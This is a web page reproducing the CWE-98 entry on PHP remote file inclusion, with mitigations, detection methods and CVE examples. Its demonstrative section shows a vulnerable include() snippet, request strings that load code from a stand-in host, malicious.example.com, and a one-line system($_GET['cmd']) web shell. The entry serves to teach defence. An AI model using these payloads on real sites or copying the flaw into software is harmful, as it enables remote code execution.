Variant · Low-Medium

CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.

CWE-98 · Variant Level ·20 CVEs ·12 Mitigations

Description

The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.

In certain versions and configurations of PHP, this can allow an attacker to specify a URL to a remote location from which the product will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP.

Potential Impact

Integrity, Confidentiality, Availability

Execute Unauthorized Code or Commands

Demonstrative Examples

The following code, victim.php, attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.
Bad
$dir = $_GET['module_name'];include($dir . "/function.php");
The problem with the above code is that the value of $dir is not restricted in any way, and a malicious user could manipulate the 'module_name' parameter to force inclusion of an unanticipated file. For example, an attacker could request the above PHP page (example.php) with a 'module_name' of "http://malicious.example.com" by using the following request string:
Attack
victim.php?module_name=http://malicious.example.com
Upon receiving this request, the code would set 'module_name' to the value "http://malicious.example.com" and would attempt to include http://malicious.example.com/function.php, along with any malicious code it contains.
For the sake of this example, assume that the malicious version of function.php looks like the following:
Bad
system($_GET['cmd']);
An attacker could now go a step further in our example and provide a request string as follows:
Attack
victim.php?module_name=http://malicious.example.com&cmd=/bin/ls%20-l
The code will attempt to include the malicious function.php file from the remote site. In turn, this file executes the command specified in the 'cmd' parameter from the query string. The end result is an attempt by tvictim.php to execute the potentially malicious command, in this case:
Attack
/bin/ls -l
Note that the above PHP example can be mitigated by setting allow_url_fopen to false, although this will not fully protect the code. See potential mitigations.

Mitigations & Prevention

Architecture and Design

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].

Architecture and Design

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Architecture and DesignOperation Limited

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to

Architecture and DesignOperation

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Implementation High

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across relat

Architecture and DesignOperation

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.

Architecture and DesignImplementation

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many file inclusion problems occur because the programmer assumed t

Operation Moderate

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

OperationImplementation

Develop and run your code in the most recent versions of PHP available, preferably PHP 6 or later. Many of the highly risky features in earlier PHP interpreters have been removed, restricted, or disabled by default.

Detection Methods

  • Manual Analysis High — Manual white-box analysis can be very effective for finding this issue, since there is typically a relatively small number of include or require statements in each program.
  • Automated Static Analysis — The external control or influence of filenames can often be detected using automated static analysis that models data flow within the product. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.

Real-World CVE Examples

CVE IDDescription
CVE-2004-0285Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2004-0030Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2004-0068Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-2157Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-2162Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-2198Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2004-0128Modification of assumed-immutable variable in configuration script leads to file inclusion.
CVE-2005-1864PHP file inclusion.
CVE-2005-1869PHP file inclusion.
CVE-2005-1870PHP file inclusion.
CVE-2005-2154PHP local file inclusion.
CVE-2002-1704PHP remote file include.
CVE-2002-1707PHP remote file include.
CVE-2005-1964PHP remote file include.
CVE-2005-1681PHP remote file include.

Showing 15 of 20 observed examples.

Taxonomy Mappings

  • PLOVER: — PHP File Include
  • OWASP Top Ten 2007: A3 — Malicious File Execution
  • WASC: 5 — Remote File Inclusion

Frequently Asked Questions

What is CWE-98?

CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')) is a software weakness identified by MITRE's Common Weakness Enumeration. It is classified as a Variant-level weakness. The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.

How can CWE-98 be exploited?

Attackers can exploit CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')) to execute unauthorized code or commands. This weakness is typically introduced during the Implementation phase of software development.

How do I prevent CWE-98?

Key mitigations include: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].

What is the severity of CWE-98?

CWE-98 is classified as a Variant-level weakness (Low-Medium abstraction). It has been observed in 20 real-world CVEs.